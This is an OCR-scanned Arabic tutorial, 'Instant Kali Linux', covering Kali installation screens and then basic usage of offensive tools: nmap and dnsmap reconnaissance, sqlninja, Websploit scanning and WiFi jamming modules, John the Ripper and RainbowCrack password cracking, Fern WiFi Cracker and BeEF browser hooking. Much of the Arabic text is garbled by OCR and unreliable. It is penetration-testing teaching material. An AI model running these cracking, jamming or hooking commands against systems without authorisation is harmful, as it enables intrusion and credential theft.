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Downloads

DOWNLOAD YOUR FLAVOUR OF KALI LINUX.

Official Kali Mirrors
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SeCHUnity

Kali 1.0 v
||385 v |ofﬁc|a| v |Grmme v 150 v Direct | m

[ kaiiinux-1.0.21385 is0
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[ 2300

Download Kali
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Boot menu
Live (686-pae)
Live (686-pae fail=zafe)
Live (forensic mode)

Graphical install
Advanced options

Press ENTER to boot or TAB to edit a menu entry
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Create Virtual Machine ?

Name and operating system

Flease choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install
an it. The name you choose will be used throughout VirtualBox
to identify this machine.

MName: | Kali_linux|

Type: |Linux j |’\{
(26
MR
‘Version: |Linu:{ 2.6 j
Hide Description < Back Mext = Cancel
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cp /media/cd-rom/VboxLinuxAdditions.run /root/
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chmod 755 /root/VboxLinuxAdditions.run
r AUl eY) a3
./VboxLinuxAdditions.run

Kali Linux yass
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rNE'\.'\-' Virtual Machine Wizard ﬁ1

Guest Operating System Installation

& virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:
() Installer disc:

L DVD RW Drive (E:)

(@ Installer discimage file (iso):

C:\Wsers\ASUS\OS isotkalidinux-1.0.9a-i386.is0 -

A Debian 7 detected.

(7 T will install the operating system later.
The virtual machine will be created with a blank hard disk.

< Back ][ Mext = ” Cancel ]

eu:.tﬂa);;dg).\‘_gi\ua)ﬂ‘?njhu

T Vtual Mt e -

Specify Disk Capacity
How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk, These file(s) start small and become larger as you
add applications, files, and data to your virtual machine.

Maximum disk size (GB): 20.0

Recommended size for Debian 7: 20 GB

(@ Store virtual disk as a single file

(7 split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

[ < Back ][ Mext = ][ Cancel
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ralaill e Lebmi 2 5 ) il ial b 5 (ailadll 2aad
Mew Virtual Machine Wizard lig—l

Ready to Create Virtual Machine
Click Finish to create the virtual machine and start installing Debian 7.

The virtual machine will be created with the following settings:

Mame: Debian 7 -
Location: C:\Users\asUs\DocumentsWirtual Machines\Debian 7
Version: Workstation 10.0

Operating System: Debian 7

m

Hard Disk: 20GE

Memary: 4096 MB

Metwork Adapter:  NAT

Other Devices: CD,/DVD, USE Controller, Printer, Sound Card -

Customize Hardware. .. l

Power on this virtual machine after creation

| <Badk || Finsh || cCancel |

(KA, A all ASLEN el i Ul Gl Y1 Al Qb o5 3

-

DAL ORI

Boot menu

Live USB Persistence (check kali.org-prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Install with speech synthesis
Advanced options

Press ENTER to boot or TAB to edit a menu entry
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Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Language:

Chinese (Simplified) - FRE(EE) (4]
Chinese (Traditional) - Aaz(8EE)

Croatian - Hrvatski

Cczech - Cestina

Danish - Dansk

Dutch - MNederlands

Dzongkha - Em

Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - Jefmgmo

German - Deutsch

Groal e ElAmaad (]

| screenshot |  GoBack Continue

Select your location

The selected location will be used to set your time zone and also for example to help select the system
locale. Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected. Choose "other" if your location is not
listed.

Country, territory or area:

Canada B
Hong Kong

India

Ireland

New Zealand

Nigeria

Philippines

Singapore

South Africa

United Kingdom

Zambia

Zimbabwe

other E

| screenshot |  GoBack [ C

onti{lﬁ l
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Configure the keyboard

Keymap to use:

American English A

Albanian

Arabic

Asturian

Bangladesh
Belarusian

Bengali

Belgian

Bosnian

Brazilian

British English
Bulgarian

Bulgarian (phonetic layout)
Canadian French
Canadian Multilingual
Catalan

Chinese

Croatian F

| Screenshot |  GoBack Continue ‘
S —

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your

hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname!

[kaTi

| Screenshot | GoBack

[ Contiw ‘
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Configure the network

The domain name is the part of your Internet address to the right of your host name. It is often

something that ends in .com, .net, .edu, or .org. If you are setting up a home network, you can make
something up, but make sure you use the same domain name on all your computers.

Domain name:

kali

Screenshot

Go Back [ Cogtinue ‘

Set up users and passwords

You need to set a password for 'root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is

not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be

disabled and the system's initial user account will be given the power to become root using the "sudo"
command.

Note that you will not be able to see the password as you type it.
Root password!:

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

[oooel

Screenshot

Go Back [ Contigue ‘
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Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language" and select a
country that uses the desired time zone (the country where you live or are located).
Select your time zone:

Central

Mountain
Pacific
Alaska
Hawaii
Arizona
East Indiana

Samoa

| Screenshot

Go Back Cong’nue l

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you

prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method.

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

| screenshot

Go Back Coni'!nue l
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Partition disks

Selected for partitioning:
SCSI13(0,0,0) (sda) - VMware, VMware Virtual 5: 21.5 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
one.

Partitioning scheme:

All files in one partition (recommended for new users)

Separate /home partition

Separate /home, /usr, jvar, and tmp partitions

| Screenshot

Go Back [ ConE’nue l

Partition disks

This is an overview of your currently configured partitions and mount points. Select a partition to modify its settings
(file system, mount point. etc.), a free space to create partitions, or a device to initialize its partition table.

Guided partitioning

Configure software RAID

Configure the Logical Volume Manager
Configure encrypted volumes

= SCS513(0,0,0) (sda) - 21.5 GB VMware, VMware Virtual 5
> #1 primary 20.5 GB f extd !

> #5 logical 922.7 MB f swap swap

Undo changes to partitions

Finish partitioning and write changes to disk

| Screenshot Help

Go Back [ Coni'!nue l
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Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
SCsI3 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as ext4
partition #5 of SCSI3 (0,0,0) (sda) as swap

Write the changes to disks?

) No

Screenshot

Contigue |

Install the system

. Installing the system...
Copying data to disk...
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Configure the package manager
A network mirror can be used to supplement the software that is included on the CD-ROM. This may also
make newer versions of software available.

Use a network mirror?

- No

Screenshot

Go Back [ Contigue ‘

Configure the package manager

If you need to use a HTTP proxy to access the outside world, enter the proxy information here.
Otherwise, leave this blank.

The proxy information should be given in the standard form of "http://lluserll:passl@lhost:port]/”.
HTTP proxy information [[SELSelaslelst=IR

Screenshot

Go Back I Contpue ‘
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Configure the package manager

The goal is to find a mirror of the Debian archive that is close to you on the network -- be aware that
nearby countries, or even your own, may not be the best choice.

Debian archive mirror country:

enter information manually A
Algeria

Argentina
Australia
Austria
Bangladesh
Belarus
Belgium
Bosnia and Herzegovina
Brazil
Bulgaria
Canada
Chile

China
Colombia

Costa Rica

&

| Screenshot Go Back [ Cont'glue ‘

Configure the package manager

Please enter the hostname of the mirror from which Debian will be downloaded.

An alternate port can be specified using the standard [hostnamel:[port] format.
Debian archive mirror hostname:

[http.kali.org

Please enter the directory in which the mirror of the Debian archive is located.
Debian archive mirror directory:

[1kali

| Screenshot

Go Back [ Contirﬁle J
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Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,
modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?

2 No

Screenshot

Go Back

[ Cont!'nue |

Finish the installation

Installation complete
@ Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

Screenshot

Go Back [ Conkinue |
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Thu 10:33 AM

Thu 10:34 AM

Other...

Username: |root]

System Default
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Thu 10:34 AM

Other...

Password: |eewee

System Default Cancel

Applications Places < Thu Nov 13, 10:35 AM

—
masie,

Computer

Kali Live

AL RORIWK

ENG ISMAIL MOHAMAD HAZEM KAYALI || 24



INSTANT KALI LINUX

Ta JSy @l g gt — dag s L)y

138 8l ) gl Gmad pnlal) Cailda gl agd s Kali Linux plle (8 S8 (Sanis (o gun
Kol s il s a5 s ol o ey 0

BSIA) anali A4S agd

Gl jsall sy Ubuntu Linux & 2sa sall ulbal) ol sl jlasll i Kalj aldas asly
L jre g (Gl Al

Al 3 daidl @ oM Glilae ) clile 58y 1 fete/
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ALl 4 ga gall daa el 3363 Clalae Y il 5 985 1 /SYS /

Al Y axsiud) lae i Jlss 1 /TOOL/

Al e Al Gl g 5831 /lib/

T T T
/ - | O
File Edit View Go Bookmarks Help
. | ( |
Devices & opt * E:) Q, search
() VBOXA.. =
Computer
i Home bin boot dev ete
Desktop - - - -
€ Fie 5ystem - - - -
& Trash home Lib lost+found media
Metwork i'_ = i'_ = i'_ = -.T_ —
@ Browse MNet...
mnt proc root
run sbin selinux SrV
sys tmp usr var
o a
= |
& [ ?“'I P—
) R opt” selected (containing 2 items)

Als e Led Jgeasll Sy Jal) i 5 jlial b deaiiivall Gl yall 5 <l Y alasa
s sl ol oo Lalazin) JSY) el a1 (385 A5 e Al 038 5 il mdans e cilgslal
Application | Kali linux (& casl ¢ agl
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Kali Linux aUai 8 cilaglaall Juand g asaad

Jia Sl slaall paent dplee 3 2ol Gl &) 521 (e Aald de gana 5 530 Kali Linux
a5t Chsu dage O 53 45 Trace ,DNSmap ,(the network port mapper) Nmap
A plaidgas e i ga¥) o2 (iany Al

DNSmap Jaas

A () s iYL dliaiall Cleadll de ) sall dpanidl) aUai Domain Name System
alal J saa sl aasion www.Kali.org e diea da2a] J 5230 Jal (e 2230 domain
Kali @8 90 (e s 252 gall HTTP

.sa domain (s 32 92 el subdomains LKLY PRENY 31l * DNSmap 313
JDNS JS3 o ddayja JalS Ly 0 o g terminal aa JU) e duiss
:www.rediff.com

root@kali:~#dnsmap rediff.com

root@kali: ~

File Edit View Search Terminal Help

ching (sub) ains for
g maximum random delay of 10 milli

1: 202.13

1: 202.13

 2[2 .13

catalog. rediff.com
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Ales 5 Caagll 4y Congy Aima Cilaxd Calagin) Jal (e GIARY) LR Chagr Gl sl
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root@kali:~#nmap -h
(S Y1 e 2l UDP (e dasun e
root@kali:~#nmap —sU 192.168.5.0-255
live hosts —ildsiu
Y ol 4l Jiaia (e host OIS 13 48 jaa Jal (e 230 5 ) seiie 3101 Fping
root@kali: ~#fping google.com

google.com is live

SSL Jalad

el G 13 Lagh 20a5 SS| 28Lial Aleaiall SS| 2lial Ay yus zeane 3121 SSLScanN
SSL A Al ) salgil) jelais ¥ ol dlaie Y S5l

i) e il glaa Jaldl)

G PR ISYSEECH DA PN (g IO pleall (3o 2aally o g8 ) Y (e Ae gama * Dsniff
zeilia ¢ 55 p0 lalS Jia baie iy Jal (e 4S8l je a3l CLL A8 je jie Jend
unlsnarf, WebSpy, (el &l g23¥1 oda (azy | 9 53S0 & cpglie 5 ¢l yall
J%a 5 mailsnarf

oSy Linux Aakast Lapad Gacad) 4y sall 5 day pod) 2Sil &l 50Y) (g 4 sane Netsniff
A0S s Netsniff-ng 1388 5 pasdll ¢ 280 jall ¢ A 0 phat Jalat 8 Lgaladia)
141 ¢ Lgaa ye Bale .pcap Gilala daladl) @.ial..m .mmap Ao m AL e adlay &
.offline s online JS&y Julas
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vl blii e dand) @l gaf aa Jalasil

A Jlad Ol 52V s (31 A JLEA) el e i Camaal) Lalss (e Gl Gl ol
el Lils e danll (Say allaill elaal 5 Caraall Lalds Jolas dlae b (31 A
blbidl e falaie) cilbiaa ) s cleadll (e el

L e Graad) Ciall Lapad Gesas sl da side Cana L& e Giny 310 OpenVAS
YA e awd) Cpeiia Cazaall

Oe Cansi OpenVAS g daladill fad

Application|Kali Linux|Vulnerability Analysis| OpenVAS

leland o 3lle JalS Jidi 5 zabiall Enand Jal (e I 59 2230 5 30 J 5 Leliandis vic

openvas-setup

F .l

Terminal

File Edit View Search Terminal Help
[i] This 0t synchronizes an I th the 'C VAS NVT Feed'.

anvas-nvt - feed
html ',
[i] NVT dir: /fvar/
envas.or

ntevation.

iving incremental file list

OPYING
B/s B:00

1006% 17.17MB/s 0:00
COPYING.files
1215888 106G 684 .38kB/s

‘terminal (e AU Y1 ) 5ei . OpenVAS &t adiive 48l 4 20 5 gladl)
root@kali:~#openvas-adduser

dal e Ml ) aladi) plaii g ctrf + df o iall e doleall 038 (e 7z 55al (Sa
adla JSE 31aY) o2 Cagans

root@kali:~#openvas-nvt-sync
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SV Jax il ddee b Tay g8l Qe ) i

laa  Application|Kali Linux|Vulnerability Analysis| OpenVAS|openvas-gsd
Waalaels Liad i) il slaall Juaaly asii J sl Jumast Jal (he desus l dganl sl) iy i g
.172.0.0.1 Asall o sial) Jaxs 5 b

 File Task View Settings Extras Help

|

Dashhnaard .
Log in
! Profile
& P
|default v
Please enter address and ) ’—|
user acoount for your scan Save Delete b
engine.
Tasks Fyou selece one of the Serveraddress Port
prafiles, you orly resd to
erter the password,
A
Name before o press the login [12?.0.0.1| ‘ |_939o | & omp3o [T
Button you may store the
accmss profile.
Username
Mote, that the scan engre
must have OMF support [
enabled for the given port ||’00t
for a sucoessful cormection. b
Password
| o ok
Ta... | Ta.. Sche.. Sca Legin || Cancel . Perfor...
Refresh Interval: manual |
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M_TasklNeW | Q_IAJJC.HAI\TAAC djb \J.xﬂ Gumj\:\:d-o.c \.A.\@Liuucdj;ﬂ\d:\a.uﬁm
:‘g\ﬂ\ d&d’dbc_m)nﬁusgl\w\‘;ﬁhje&d\@m?u\

Mew Task

Mame |5can |

Comment (optional) | |

L]

Scan Config Full and fast

L)

Scan Targets Localhost

L)

Escalator (optional)  --

L)

Schedule (optional) | --

L)

Slave (optional) --

Cancel Create

Apa sl Aga sl (e bl andll 8 5elas (o g Filaal bl Baadl o Aulaal) oLES) aa
el Tad adl ) e daraiy axdiuall

kali pli (& qu gl cliuulat (3) 54 L)

& Lgiaa dgleall o Blaadls 2LV e adlad) e 55N (e a6 o sl cliplas
sdan s 05 O (S Gl el cu sl Jlae 8 Llal) el jall a1 38 )
030 ol L g Al i gad dgan 1 6055 Clalaill e B i slladl el of Sy
Lt (S gl 1A Jlia) il s AY) clipdaill dlea 8 selodl sl gl
an B8 Jaiest Cagn gl a2l a5 bl ael 8 g cilgad g Jie (8L (e waall
Gl (3 i) s dlee SO 3 (5585 o (Sae A Kali alail) 3 dagall <l 50y
gl
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WebScarab proxy

O U8 miaidl) (e Al yall HTTPS 5 HTTP <l daklie Jal (e 5100 & WebScarab
gheaiall ) i g J w38 e B YD i ol adliia JSy w38 I Ll ) o

5 XSS/CSRF «slLiis) Jie dediiall &l juall (e 23all (5 923 WebScarab (s s3aal) 2l
AU &) il & WebScarab g« Jalacl) i fadl Jal o Adall (o yadl) PP\ NBNEN:
Al

Application|Kali Linux|Web (85 b e WebScarab s .1
.applications|Web application proxies|Webscarab

I proxy J clalac) Jasai miaiall cilalac) i Uile cang GGkl fa 2y 2
.8008 e il b8, 5127.0.0.1

Connection Settings

Configure Proxies to Access the Internet
) No proxy
) Auto-detect proxy settings for this network
) Use system proxy settings

® Manual proxy configuration:

HTTP Proxy: |12?.0.D.1 | Port: | 8008 :

L] Use this proxy server for all protocols

S5L Proxy: | | Fort: Q
ETP Proxy: | | Port: | 0=
SOCKS Host: | | Port: | ol

) SOCKSv4 ® SOCKS v5
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48 e hiai WebScarab J 4 g )l dgal sl () agas 5 GlalacY) Jaass (3
e 83350 POST 5 GET ilills o St () any Aaaliall cililla (a5 Proxy
Cwe Alaiay) Aadalie aadi dulainy) dadalia Jal e dgal o)) e ¥l sl
A e Al dlainy) il (asdl g dxal e la Jaf

WebScarab - | O

Eile View Tools Help

Scripted | Fragments | Fuzzer | Compare | Search | SAML | OpenIiD | WS-Federation | Identity |
summary | Messages | Proxy | Manual Request | Spider | Extensions | XSS/CRLF | SessionID Analysis |

Listeners | Manual Edit r Bean Shell r Miscellaneous |
Intercept requests : Case Sensitive Regular Expressions 7 [ |
Methods || Include Paths matching :
GET lo* |
POST Exclude paths matching :
HEAD [.#.(gifjpa|pnalcss|islico|swilaxd. ¥ § |
PUT
DELETE L
TRACE
PROPFIND
OPTIONS
PROPPATCH
MKCOL 14
COPY
MOVE
LOCK =

Intercept responses :
Only MIME-Types matching :
[textr*

sqlninja alialy clilyl) s g cilags

a2 8 SQL injunction - il Llis (asdl a3 5 ) s 3131 Sqlninja

O OSay roa Gl s A (gl il (e age ¢ 3o Ll ac) 8 Microsoft SQL
8 axdiud o) (S sglninja of S i Lses Gl il glaall POl & Uad ) 05
iyl 2o 8 3 a) s

& ki sgl ninja £ 248 Jal e

Applications|Kali Linux| Web applications | Database Exploitation|sglninja

ENG ISMAIL MOHAMAD HAZEM KAYALI | 32




INSTANT KALI LINUX

dagall Ol yial L) .sglninja <) il )b & terminal 32L ygeda ) G oo B ghaall sda
—m s mode s e Sl gy Al

root@kali: ~

File Edit View Search Terminal Help

g icesurfer =r@@t@northernfortress.net>
Lninja

Ul

(dictiocnary method

d exit (only valid in upload mo

gl Ul Bac B e ladas &y Sl Agleal) & 98 23an —m el L)
il Jla g ) el jai lised
root@kali:~#sqlninja —-m test
sqlninja rel. 0.2.3-r1
Copyright (c) 2006-2008 icesurfer
[-] sqlninja.conf does not exist. You want to create it now ? [y/n]

9 Aagall ("5&‘ ol LiSlay _(5q|ninja_conf) Glalac Y cala dlacy LA clhlaxy (oo 128
lilall ae ) 8 (3l yia) HLEA) dewl cp jala <0 1 e elgBiY) 2 jaan g Glalae ) Cale L)

The Websploit framework

ikl 3 Ayl Hlia) g Chacall Lalas Jdadl Craaa jaadll da siie 3101 Websploit
L) cailda g Adlay Gl ll (e waell ae Jaladll 5 Metasploit 3 1as Agbiia a5 cusl)
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Application|Kali Linux| Web Applications | ! < Websploit il
.Web Application Fuzzers|Websploit

Terminal

File Edit WView Search Terminal Help

S G5 terminal ) (& Cuasall el pah 313V s3a Cuaaty Tas o (S
wsf>update
[*]Updating websploit framework, please wait...
G aY) e 58 il Y g0n sall A3y ) (San Capanill elgi) 3 jaan
wdf>show modules

www.target.com e Jsdse e ddas Glalae o Gl jle zrose daleay o Ui g
L Sulls

wsf>use web/dir_scanner
wsf:Dir_scanner>show options
wsf:Dir_scanner>set TARGET www.target.com

wsf:Dir_scanner>run
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root@kali: ~

File Edit View Search Terminal Help

Wifi Jammer
Wifi Dos Attack

h L1

400 Bad R

aliie (S5 Al G a3 g asagd) 2 sad ki Ca g Websploit ¢l el 255 5 e
A st Ol w i le Lo i) Al dase sl 7558 pladinl (Sa

Jj)-d\ SilalS s

O LSy g pall ClalS Hu€ 4y gulall adail) d dddadd) (3856l 55k ST a5 all el
i) 5l e waall (5 gan Kali  Slialans (o 2 yila Lisdany g allaill ) 5 3l z 51l

C’.\\;Ai van e 3 ,la @L L e offline ji online T;\}u ol Al s ‘_g PREY
Leiann LSl Cilylead) 5 Lelae Jalail il g Kali alkail) A 5 pel) cllalS il ola

John the Ripper

oadl Sl i€ 8 Jlad JRG aladiin (Rayy Sl 5 @y il @l John the Ripper
5 DES siiilll 4 )5l 3 5 Windows alai 8 Hash a sl Unix alai 8 ddpall
ol Gl )l 53 e W e 5 kerberos

Brute Force 44 ddaul 5 02 (Say John the Ripper aladiuly 5 all QS a5 ola
IS Sy ol L 3a e JSn U jad g e (panm B3 g g (9555 5 el Ll (ff Cum
A8 o Gl e Juas s Brute Force 4 guai g CilalSl (e 48 3uas of
el AS 5 L)

1Sl Ll (385 cadi John the Ripper 12

.Applications|Kali Linux|Password Attacks | Offline Attack|John
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root@kali: ~

File Edit View Search Terminal Help

[OPTIONS] [PASSWORD-FILES]
use FILE instead of 1uhn conf or john.ini
o[ =SECTION] e 0
1list[=FILE] st di ordlist mc d words from FILE or
: < , and a
ds f

cut at LENGTH]

[called MNAME]

D 0 called NA ME]
::harSEt =FILE ; : ars Fi IT wl‘l'l
([=LEFT] 5 . s [if =LEFT, t
chmarks for TIME s

r AU Y1 el a i s el el Cale e Brute Force § 53 (e asad 12
root@kali:~#john pwd
oAl el Cale s 58 pwd of Cas
G e S U e o A sl ARS A5 al
root@kali:~#john —show pwd
Dol ClalS (e AlE ) yai Sy
root@kali:~#john --wordlist=password.lst --rules pwd

RainbowCrack

pladiul o seda o diisa a5 John (e g ml D5 e Gl i ¢ld slal RainbowCrack
D50 AalS S Ginse 53 sull Hashes af (e daduin e sane 58 315 rainbow Jsas
hash 4 )ea a6 RainbowCrack & i) Nt il aadiill psty Al daadl) AiSaa
i g (i g Allad Ll il Aisil) s2a Bl & gas (al rainbow Jsaall (8 83 s sall
Brute Force 48 yiw sl (e JB
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il Ll (335 X RainbowCrack 1

Applications|Kali Linux|Password Attacks| Offline Attacks|RainbowCrack

J—
root@kali: ~

File Edit View Search Terminal Help

hash
L hash_list_file

), wildchar(™*, ?) sup

-h hash: :
-1 hash_list_file: ashe om a file hash in a line

p_f
p_file:

ithms implemented in alglib@.so:
intext lTimit: @ - 7
en limit: 0@ - 15
- .

n limit: @ - 7
len Timit: @ - 15
len 1Timit: @ - 1@
Timit: @ - 15

el a1 el e i

rcrack *.rt -1 hash.txt
=3l wildcard &= rainbow Jsaa e &l 5 RainbowCrack 1 dal (e yeY) 128
hash.txt <alall (e 3 5l30 g8 A ah Cagu Al Hash ) 4ed ¢ (*) Sl
AL elSudl) Cilagrin
Jlae GBlag 138 5 4SS G ol sl doad ) Al il o) (e B 5 4,SLLOM) A0
i AL Sl e 4y a5 o) Gl s s Jlaad) 13 8 Aleall HLAERY sl
0o S s Kali . duai¥) Y S 55 548 sl (A& GaSh s sl 980 ASludl sl
il Loy ASLOU @l e Coraall aaad 5 jlis) dlee Jedt ) 30dal) <l 50y
Linns e Ay e 5k
Kismet
(oS Jlai) Jans g (panian Ll (3835 Aia Sl daladind Sy o3 ASLLY lSud CasiS
oS Ll oy (oAl ClSLA (RES 5 ULy o s Bl e Led jay 5 AS0EN 2asy Kismet
Lo Olaall e 5 dpdal) sl
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A sl (385 Loma dasdl T o (S

Applications|Kali Linux | Wireless Attacks | Wireless tools | Kismet

root@kali: ~

File Edit Wiew Search Terminal Help

ire binary

LIS e el cua il S Cagu Enter b 5 ksimet <S5« terminal 28 2 s
Mile 3 e JVl) aly Gogas (51 B all Ledadis i€ 13 anlad) fad AWV e cuad dadia
.interface

root@kali: ~

| File Edit View Search Terminal Help
Kismet Sort View Windows

=1

No
Connected

rminals c
[ Th
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& mae s LS Add Ll g (wlan0 (el 38 JSi) W paladl SLuOU) ddial) Capcas
:gll_ﬂ\ I

root@kali: ~ - (O

File Edit View Search Terminal Help

Say A ASLO il e & bl Tag Ca g Kismet «ddiall ddliza) 3 yaa
Lo bl Jalall fas g Leia saad g a5 o (Kay el J g ol

I T
root@kali: ~ - | O

File Edit View Search Terminal Tabs Help
r )

| root@kali: ~ | root@kali: ~
~ Kismet Sort View Windows

s Packets
1903

Pkt/Sec

£

Filtered
(0]
bk Tl elcl,

not connect to the GPSD s will reconnect in
econds
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Jrasi 5 ASLIU Gl oS Kismet g dalaill 88 (e s peaida ja ge 138 OIS
L e all yall cliball g Cla glzall

Fern WIFI Cracker

Dol AdS 3alain) 5 S e 3 a8 a5 W-Fi pand Jal (e de s gl 5 3 sl

W o skt a3 8121 o2 2S5 ASL ladll e o as Jsrdi Lia) s WEP/WPA/WPS
Anaiall Y1 Gang Ll (5S O aag Lealadin) Jal (e Python dswe ) 4l alasinly
duaie Ol 5a¥) 028 5 53 Kali .Reaver s Python Scrapy s Aircrack Jie Guse JSis
1Y 038 il jae (amy Al Lganaiil e oY SN (Buae JS

* WEP Cracking with Fragmentation, Chop-Chop, Caffe-Latte, Hirte,
ARP Request Replay, or WPS attack.

WPA/WPA2 Cracking with dictionary or WPS-based attacks.
Automatic saving of the key in the database upon a successful crack.
Automatic access point attack system.

Session hijacking (passive and Ethernet modes).

Access point MAC address for geolocation tracking.

L)

0

)
X4

L)

7 7 7 J
0’0 0’0 0’0 0’0

:‘;JL"J\ bl X Fern 3al \AJ

Applications|Kali Linux| Wireless Attacks | Wireless tools|Fern WIFI Cracker
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gy 2 drop-down 4aild (e Uy Galadl Miall las dae sus )l dgal gll ) seda 2 e
LS Al (335 Adian A 8l W-Fi Dl a ga A sus )l dgal sl o (o g cildaal
(WPA, WEP, ...) L5l

Gl gl 5 o sagd) oy g laad ey 32y Aaliall OK (e oz prusall Cililae ) sebs ic
el e ade alill 2% Cogu 5 e AalS

Bluetooth auditing

43 )k 4 Bluetooth ¢} Cus bluetooth <ilSud Jaai & Jasll 40184l Lo 5 3 Kali aldas
8 ae 1) Aaall 5 3ea ) IS 8 L i s Qb sall ClSul aa Lo g Y1 il Jis
dadia a3 Cogun g AS0h pae S (5 )5 e auditing Bluetooth < Bluetooth
.BlueRange (= & _naisa

BlueRanger

Bluetooth I 5 jeal yasil Juaiy) bad 33 g a2 Jasss a 528 7 ) 5«3 BlueRanger
dlany eansi 3 3¢ Y1 aliza o Cus Bluetooth e G Juadl JSE1 pings s i Ll cua
Aaladdl 5 @5l ) 4aladl ¢ 39 ping
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‘BlueRanger Jusii Jal (e Ul jlsall (385 Caals
Applications|Kali Linux | Wireless Attacks | Bluetooth tools|BlueRanger.

root@kali: »

File Edit View Search Terminal Help

by JP Dunning (.ronin)

NAME
blueranger

SYNOPSIS

blueranger.sh <hciXs> <bdaddrs>

DESCRIPTION

3 5all (e SYNOPSIS (555 s ja¥) ) i Bluetooth ) <ilSes Aails jlels) T Jal (4
;gm\ JLL) WS ALl

root@kali:~#blueranger.sh bciO 6C:D4:8A:B0:20:AC

o g ALY Jlaa) (paia 5 3622 ping dolens lay Co g Bash script oY) 285 3 o
JQ\J:\é_ﬂ\inng e 55 ) slaall 3 jea¥) ey yu )L@.la\elau}.uj _pingdSA:.,uim;_ﬁ
LI 5 Jlsll

Exploitation <l 5 Gk

a8 3 )laY B A Jaad Cus G aY) jlis) ddee 75 5 QBB iixy Exploitation frames
A eda xeny 9 JalSs Kali Linux .2y framework plasinls A geun Canaall Ll

Kali Linux (s 325> s<Il exploitation frameworks

Browser Exploitation Framework

) Cladiaic 48]yl dals daaias juadll da ide 3 ) sedia framework (2 5 BeEF
r S Slall I adll s BeEF fas
Applications| Kali Linux | Exploitation Tools | BeEF Exploitation
Framework | BeEF.

r Al ad gl Ao miatiall Jurnds ) o5 <o a
http://127.0.0.1:30/ui/panel/
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Aol JEY) el A 5 aniiad) and 35 5 Cila sl e @l a2y G g A 3 gad) a
il e beef 5 beef 4
Sl eVl aadind o Alladl 38 & A BeEF s 523 Kali aail) (e 43laiY) el
Aaud Al e Jpaall
root@kali: / #apt-get update
root@kali: / #apt-get install beef-xss
r Sl e e Lealasiind Ty 531 e () JESY) aodains i) e 3 e
root@kali: /#cd /ysr/share/beef-xss
root@kali: / #. /beef

s e Jsanll dal e demo day e Laially Tl godsinnd cus il dadia ) sela Nie
Al

BeEF Control Panel - Iceweasel
File Edit View History Bookmarks Tools Help
| # BeEF Control Panel | ar |
€@ [@127.001 ~@| (B~ o) &

[ Most Visited~ JllOffensive Security ' Kali Linux “ Kali Docs EBExploit-DB Wy Aircrack-ng

# Betr 0.4.4.1-alpha | Submit Bug | Logout
Hooked Browsers
_10nline Browsers
4 (] Offline Browsers
459127001

@0 H 001

Geting Started Logs

eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http /ibeefproject.com!

Getting Started
‘Welcome to BeEF!

Before being able to fully explore the framework you will have to 'hook' & browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here

After a browser is hooked into the framework they will appear in the ‘Hooked Browsers' panel onthe
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below

Main: Display information about the hooked browser after you've run some command modules.
splays recent log entries related to this particular hooked browser.

nres Thia tah iz whers madilee fan ke evecited amainat the hanked hrowser This is

| . |1
ol g g it 230 58 Jaa D Cogas s Canl) il Jlasa (5 583 g BEEF (3o (5 _pmatll il
pgale day o B ke

bl AN 8 LeSe) ja Liad Al cus il dadia (83 & Getting Started <
sl Gllee Calida jelad L ogs
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Gl dlee e Jualdi (5 a3 Gl 4oy )l 436l & :Current Browser <
Adliae Alblee 5 Gilaglan ge dae J3 A0 8 6 (553 Al

4 [@ 127001 ~ €| @B~ Q) A

[EMost Visitedv i Offensive Security % Kali Linux “e Kali Docs EBExploit-DB Wy Aircrack-ng

¥ BeEr 044 1-apha | Submit Bug | Logout
Hooked Browsers

4 {7 Online Browsers
47127001 Details Logs Commands Rider XssRays Ipec

Geting Started Logs Current Browser

@0 H o0

= Category: Browser (13 ltems) |
41 Otfine Browsers Browser Hame: Firefox Initizlization
47127001
@D H 7001 Browser Version: 18 Initialization
Browser UA String: Mozilla/'s.0 (X 11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 lceweasel/18.0.1 Initizlization
Browser Plugins: Gnome Shell Integration-v. Initialization
Window Size: Width: 994, Height: 545 Initilization
Java Enabled: Mo Initizlization
VBScript Enabled: No Initialization
Has Flash: Yes Initilization 3
Has GoogleGears: HNo Initialization
Has WebSockets: Yes Initiglization
Has ActiveX: Mo Initialization
